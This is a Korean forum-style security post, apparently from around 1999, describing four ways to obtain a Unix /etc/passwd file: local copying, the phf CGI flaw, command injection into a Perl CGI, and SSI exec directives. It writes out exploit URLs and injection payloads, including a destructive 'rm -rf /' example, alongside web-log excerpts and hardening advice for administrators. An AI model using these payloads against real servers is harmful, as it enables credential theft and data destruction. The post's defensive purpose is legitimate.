패스워드파일 입수하는 방법
작성자 정보
- 웹관리자 작성
- 작성일
컨텐츠 정보
- 6,918 조회
- 0 추천
- 목록
본문
1. 패스워드를 입수하는 첫 번째 방법(시스템에 계정이 있을경우)
이 방법은 가장 흔한 방법으로 해당 시스템에 계정이 있을 경우에 /etc/passwd파일을 cat이나 cp등의 명령어를 이용하여 입수하는 것입니다. 그러나 만약 시스템이 shadow패스워드를 사용하고 있다면 계정정보는 얻을 수 있지만 패스워드는 얻을 수 없습니다. shadow패스워드를 사용하면 패스워드가 /etc/passwd에 존재하는 것이 아니라 /etc/shadow에 존재하며 /etc/shadow파일은 root만이 볼 수 있기 때문입니다.
2. 패스워드를 입수하는 두 번째 방법(웹으로 보는 방법) 이 방법은 시스템에 계정이 없을 경우에 주로 사용하는 방법으로서 /usr/local/apache/cgi-bin에 phf라는 프로그램이 있어야만 사용가능합니다. 물론 phf라는 프로그램의 퍼미션에 실행권한(웹서버의 실행권한)이 있어야만 가능한 것입니다. 이 phf라는 프로그램이 있고 실행퍼미션이 있을 경우에 다음과 같은 방법으로 웹브라우즈로 패스워드를 볼 수 있습니다. http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd 이는 다음과 같은 쉘명령어와 같은 것입니다. => $cat /etc/passwd
만약 cat이란 명령어에 패스가 잡혀있지 않다면 다음과 같이 해볼 수도 있습니다. http://xxx.org/cgi-bin/phf/?Qalias=x%0a/bin/cat%20/etc/passwd => $cat /etc/passwd 즉, 몇 번의 시도로 가능한 것이 되겠지요..
3. 패스워드를 입수하는 세 번째 방법(Perl프로그램을 이용한 방법)
다음의 예는 CGI를 이용하여 웹브라우즈에서 시스템 내부를 얼마든지 볼수 있다는 것을 보여준 것이다.
예1) A 시스템의 패스워드파일을 로딩한 예 먼저, passwd.html을 다음과 같이 만든다.
그리고 여기에 쓰이는 passwd.cgi라는 파일을 다음과 같이 코딩했다.
그런다음 웹브라우즈에서 다음과 같이 로딩을 하면 시스템에 일반유저가 읽기 권한이 있다면 어떤 파일이든지 웹브라우즈에서 확인이 가능하다.
URL : http://A.jindong.net/~sspark09/security/passwd.html
에서 입력창에서 다음과 같이 입력하면 sspark09;/bin/cat /etc/inetd.conf 위의 결과 웹브라우즈에는 다음과 같은 결과를 보여준다.
예2) 다음은 다른 시스템에서 passwd 파일을 웹브라우즈로 불러본 예이다. passwd.html과 passwd.cgi는 예1의 경우와 같다. 다만 perl의 경로만 수정해 주면 사용할 수 있다. URL : webserver.jindong.net/~sspark/passwd.html 과 같이 로딩을 한후입력창에 sspark;/bin/cat /etc/passwd 와 같이 입력하면 아래의 결과처럼 웹브라우즈로 passwd의 내용을 볼 수 있게된다.
정리를 해보도록 하자.
쉘명령어의 실행권한은 웹서버의 자식프로세스의 실행권한이다. 그런데 멍청한 관리자가 이 자식프로세스의 실행권한을 root로 해 두었다면 어떤 결과를 초래할 수 있을까? 위의 예에서 "sspark;rm -rf /"와 같은 명령어가 root의 계정으로 시스템에서 실행되게 할 수 있다. 바로 웹브라우즈를 통해서 이런 작업이 가능해진다는 의미이다. 이 또한 얼마나 엄청난 실수인가? 보통 웹서버를 설치할 때 아무 생각없이 다음과 같이 해 두었다면 User root 이로 인해 발생하는 책임은 누구에게 있는가?
보통은 다음과 같이 해두게 된다. User nobody nobody로 해 두었다고 해서 안심할 것은 못된다. nobody 계정으로도 위와 같은 작업은 얼마든지 가능하기 때문이다. 그리고 가져온 패스워드 파일을 Crack등의 툴을 이용하여 시스템 사용자의 패스워드는 얼마든지 알아낼 수가 있는 것이다. 시스템 담당들은 www의 보안에 얼마나 신경을 써야 하는지 알 수 있을 것이다. 경각심을 조금만 더 가졌으면 한다. 그런 의미에서 시스템 담당들이 체크해야할 것은 첫 번째로 시스템 로그파일과 웹로그파일이다. 시스템로그파일에 대해서는 다음에 설명하기로 하고 여기서는 웹로그파일의 점검예를 보도록 하자. 위와 같은 작업을 했을 경우에 다음과 같은 로그를 웹로그(access)에서 확인 할 수 있다.
[webserver:/ns3_log/log2 8 ] cat access | grep passwd 168.126.62.78 - - [04/Dec/1999:10:13:54 +0900] "GET /~sspark/finger.cgi?user=ssp ark%3B+%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 20 webserver.jindong.net 168.126.62.78 - - [04/Dec/1999:10:14:19 +0900] "GET /~sspark/finger.cgi?user=ssp ark%3B+%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 20 webserver.jindong.net 168.126.62.78 - - [04/Dec/1999:10:14:34 +0900] "GET /~sspark/finger.cgi?user=%2F bin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 20 webserver.jindong.net 168.126.62.78 - - [04/Dec/1999:10:18:45 +0900] "GET /~sspark/finger.cgi?user=%2F bin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 20 webserver.jindong.net 168.126.62.76 - - [04/Dec/1999:10:22:28 +0900] "GET /~sspark/finger.cgi?user=min oz%3B%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.1" 200 301693 webserver.jindong.net 168.126.62.76 - - [04/Dec/1999:10:23:06 +0900] "GET /~sspark/finger.cgi?user=%3B %2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.1" 200 302483 webserver.jindong.net 168.126.62.76 - - [04/Dec/1999:10:22:58 +0900] "GET /~sspark/finger.cgi?user=%2F bin%2Fcat+%2Fetc%2Fpasswd HTTP/1.1" 200 88 webserver.jindong.net 168.126.62.90 - - [04/Dec/1999:10:24:47 +0900] "GET /~sspark/finger.cgi?user=hon gten%3B%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 301603 webserver.jindong.net 168.126.62.90 - - [04/Dec/1999:10:28:04 +0900] "GET /~sspark/finger.cgi?user=hon gten%3B%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 301660 webserver.jindong.net 168.126.62.78 - - [04/Dec/1999:11:15:12 +0900] "GET /~sspark/finger.cgi?user=hon gten%3B%2Fbin%2Fcat+%2Fetc%2Fpasswd HTTP/1.0" 200 301666 webserver.jindong.net
잘살펴 보면 passwd 파일과 inetd.conf 파일을 어디에서(IP Address) 웹브라우즈로 보았다는 것을 알 수 있다. 정기적으로 이런 로그파일을 점검해 보아야 한다.
4. 패스워드를 입수하는 네 번째방법(SSI의 exec 명령어를 이용하는 방법)
SSI란 Server Side Includes의 약자로서 웹페이지 내에서 CGI를 사용하지 않고서도 방문자 카운터, 최종변경일 및 CGI환경변수의 사용등을 간단히 사용할 수 있게 해주는 것이다. SSI는 웹문서를 간단히 만들기 위해 생겨났으며 태그들 사이에 삽입하여 간단히 사용할 수 있다.
SSI의 실행경로를 알아보자. 웹서버에 있는 HTML문서는 태그(Tag)까지 그대로 방문자의 웹브라우즈로 전송이 되며 웹브라우즈(클라이언트)에서 태그가 해석되어 그 결과를 보여준다. 다시 말해서 일반 HTML문서의 실행은 웹브라우즈에서 행해지게 된다. 반면 SSI 코드는 웹브라우즈로 전송되기 전에 웹서버에서 변환되어 그 결과를 웹브라우즈로 보낸다. 즉 SSI코드의 실행은 웹서버에서 행해지게 된다는 것이다.
간단한 예를 들어보자.
이들 명령어들은 HTML 태그안에서 사용 되는데 사용하는 형식은 다음과 같다.
<!--#command tag1="value1" tag2="value2" -->
HTML의 주석태그의 형식을 그대로 사용하며 뒷부분의 --> 앞에는 반드시 한 개이상의 공간(space)이 있어야 한다.
예1) 지정한 위치에서 sample.cgi라는 CGI 스크립트를 실행하려고 한다. SSI 코드 : <!--#exec cgi="finger.cgi" -->
예2) 해당파일이 존재하는 디렉토리의 정보(파일등)를 확인하려한다. SSI 코드 : <!--#exec cmd="ls -l" -->
여기서 언급하고자 하는 것은 SSI의 코드중 exec라는 명령어에 대한 것이다. 위의 예를 보면 알겠지만 cmd="시스템 명령어" 이 부분에 시스템 명령어를 입력하면 웹데몬이 실행된 계정에서 사용할 수 있는 모든 명령어의 실행이 가능하다. 이런 사태를 미연에 방지하기 위해서는 아파치와 같은 웹서버의 설정파일(httpd.conf)에 NoexecCGI라는 옵션을 해주는 것이 좋습니다. 실제의 예를 보도록 하자.
위의 결과는 여러분들이 예측을 해보기 바란다. (조금은 황당한 결과일지 모르지만) |
관련자료
-
이전
-
다음